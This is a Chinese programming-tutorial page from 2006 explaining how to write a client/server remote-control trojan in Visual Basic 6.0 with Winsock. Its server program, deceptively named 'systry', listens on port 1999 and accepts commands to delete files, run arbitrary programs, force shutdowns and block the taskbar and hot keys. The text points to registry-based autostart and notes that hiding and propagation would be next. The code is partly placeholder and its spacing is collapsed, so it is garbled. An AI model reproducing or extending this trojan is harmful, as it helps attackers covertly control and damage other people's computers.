网络编程 | 站长之家 | 网页制作 | 图形图象 | 操作系统 | 冲浪宝典 | 软件教学 | 网络办公 | 邮件系统 | 网络安全 | 认证考试 | 系统进程
Firefox | IE | Maxthon | 迅雷 | 电驴 | BitComet | FlashGet | QQ | QQ空间 | Vista | 输入法 | Ghost | Word | Excel | wps | Powerpoint
asp | .net | php | jsp | Sql | c# | Ajax | xml | Dreamweaver | FrontPages | Javascript | css | photoshop | fireworks | Flash | Cad | Discuz!
当前位置 > 网站建设学院 > 网络编程 > Visual Basic
Tag:注入,存储过程,分页,安全,优化,xmlhttp,fso,jmail,application,session,防盗链,stream,无组件,组件,md5,乱码,缓存,加密,验证码,算法,cookies,ubb,正则表达式,水印,索引,日志,压缩,base64,url重写,上传,控件,Web.config,JDBC,函数,内存,PDF,迁移,结构,破解,编译,配置,进程,分词,IIS,Apache,Tomcat,phpmyadmin,Gzip,触发器,socket
网络编程:ASP教程,ASP.NET教程,PHP教程,JSP教程,C#教程,数据库,XML教程,Ajax,Java,Perl,Shell,VB教程,Delphi,C/C++教程,软件工程,J2EE/J2ME,移动开发
本月文章推荐
.FileSystemObject读写文件.
.多用户应用程序中应注意的其它问.
.用VB实现“ICQ”式的启动欢迎画面.
.在Word中嵌入应用程序.
.浅议VB6字节数组和字符串的相互转.
.在VisualBasic6.0中创建Word文档.
.用VB实现用户登录admin888的修改.
.VB中如何实现注册表的读写.
.取得某个目录底下所有文件大小总.
.访问MicrosoftJet数据库---用Mic.
.禁用Alt-Tab或Ctrl-Alt-Del.
.雨滴式的显示图片.
.VB中远程共享显示及声音的实现.
.为常量定义合适的类型.
.VisualBasic6.0FAQ.
.VisualBasic工具栏、对话框二.
.AVI文件格式.
.PropertyBag对象实现数据连续操作.
.使用ADD-IN技术加强VisualBasic开.
.掌握开发的武器-语言.

浅谈用VB6.0编写木马程序

发表日期:2006-2-27


现在网络上流行的木马软件基本都是客户机/服务器模式也就是所谓的C/S结构,目前也有一些开始向B/S结构转变,在这里暂且不对B/S结构进行详谈,本文主要介绍C/S结构其原理就是在本机直接启动运行的程序拥有与使用者相同的权限。因此如果能够启动服务器端(即被攻击的计算机)的服务器程序,就可以使用相应的客户端工具客户程序直接控制它了。下面来谈谈如何用VB来实现它。

  

  首先使用VB建立两个程序,一个为客户端程序Client,一个为服务器端程序systry。

  

  在Client工程中建立一个窗体,加载WinSock控件,称为tcpClient,协议选择TCP,再加入两个文本框,用以输入服务器的IP地址或服务器名,然后建立一个按钮,按下之后就可以对连接进行初始化了,代码如下:

  

  PrivateSubcmdConnect_Click()

  IfLen(Text1.Text)=0AndLen(Text2.Text)=0Then

  MsgBox("请输入主机名或主机IP地址。")

  ExitSub

  Else

  IfLen(Text1.Text)>0Then

  tcpClient.RemoteHost=Text1.Text

  Else

  tcpClient.RemoteHost=Text2.Text

  EndIf

  EndIf

  tcpClient.Connect

  Timer1.Enabled=True

  EndSub

  

  连接建立之后就可以使用DataArrival事件处理所收到的数据了。

  

  在服务器端systry工程也建立一个窗体,加载WinSock控件,称为tcpServer,协议选择TCP,在Form_Load事件中加入如下代码:

  

  PrivateSubForm_Load()

  tcpServer.LocalPort=1999

  tcpServer.Listen

  EndSub

  

  准备应答客户端程序的请求连接,使用ConnectionRequest事件来应答户端程序的请求,代码如下:

  

  PrivateSubtcpServer_ConnectionRequest

  (ByValrequestIDAsLong)

  IftcpServer.State<>sckClosedThen

  tcpServer.Close‘检查控件的State属性是否为关闭的。

  EndIf'如果不是,在接受新的连接之前先关闭此连接。

  tcpServer.AcceptrequestID

  EndSub

  

  这样在客户端程序按下了连接按钮后,服务器端程序的ConnectionRequest事件被触发,执行了以上的代码。如果不出意外,连接就被建立起来了。

  

  建立连接后服务器端的程序通过DataArrival事件接收客户机端程序所发的指令运行既定的程序。如:把服务器端的驱动器名、目录名、文件名等传到客户机端,客户机端接收后用TreeView控件以树状的形式显示出来,浏览服务器端文件目录;强制关闭或重启服务器端的计算机;屏蔽任务栏窗口;屏蔽开始菜单;按照客户机端传过来的文件名或目录名,而删除它;屏蔽热启动键;运行服务器端的任何程序;还包括获取目标计算机屏幕图象、窗口及进程列表;激活、终止远端进程;打开、关闭、移动远端窗口;控制目标计算机鼠标的移动与动作;交换远端鼠标的左右键;在目标计算机模拟键盘输入,下载、上装文件;提取、创建、修改目标计算机系统注册表关键字;在远端屏幕上显示消息。DataArrival事件程序如下:

  

  PrivateSubtcpServer_DataArrival

  (ByValbytesTotalAsLong)

  DimstrDataAsString

  DimiAsLong

  DimmKeyAsString

  tcpServer.GetDatastrData

  '接收数据并存入strData

  Fori=1ToLen(strData)

  '分离strData中的命令

  IfMid(strData,i,1)="@"Then

  mKey=Left(strData,i-1)

  '把命令ID号存入mKey

  

  '把命令参数存入strData

  strData=Right(strData,Len(strData)-i)

  ExitFor

  EndIf

  Nexti

  SelectCaseVal(mKey)

  Case1

  ‘驱动器名、目录名、文件名

  Case2

  强制关闭服务器端的计算机

  Case3

  强制重启服务器端的计算机

  Case4

  屏蔽任务栏窗口;

  Case5

  屏蔽开始菜单;

  Case6

  按照客户机端传过来的文件名或目录名,而删除它;

  Case7

  屏蔽热启动键;

  Case8

  运行服务器端的任何程序

  EndSelect

  EndSub

  

  客户机端用tcpClient.SendData发命令。命令包括命令ID和命令参数,它们用符号“@”隔开。

  

  另外,当客户机端断开与服务器端的来接后,服务器端应用tcpServer_Close事件,来继续准备接收客户机端的请求,其代码如下:

  

  PrivateSubtcpServer_Close()

  tcpServer.Close

  tcpServer.Listen

  EndSub
  

  这就是一个最基本的特洛伊木马程序,只要你的机器运行了服务器端程序,那别人就可以在千里之外控制你的计算机。至于如何让服务器端程序运行就要发挥你的聪明才智了,在我的源程序中有一中方法,是修改系统注册表的方法。源代码下载
  
  成功的特洛伊木马程序要比这个复杂一些,还有程序的隐藏、自动复制、传播等问题要解决。警告:千万不要用来破坏别人的系统。

->

上一篇:VB编程之路-如何让界面美化 人气:5115
下一篇:VB操作LotusNotes数据库 人气:3357
浏览全部Visual Basic的内容 Dreamweaver插件下载 网页广告代码 祝你圣诞节快乐 2009年新年快乐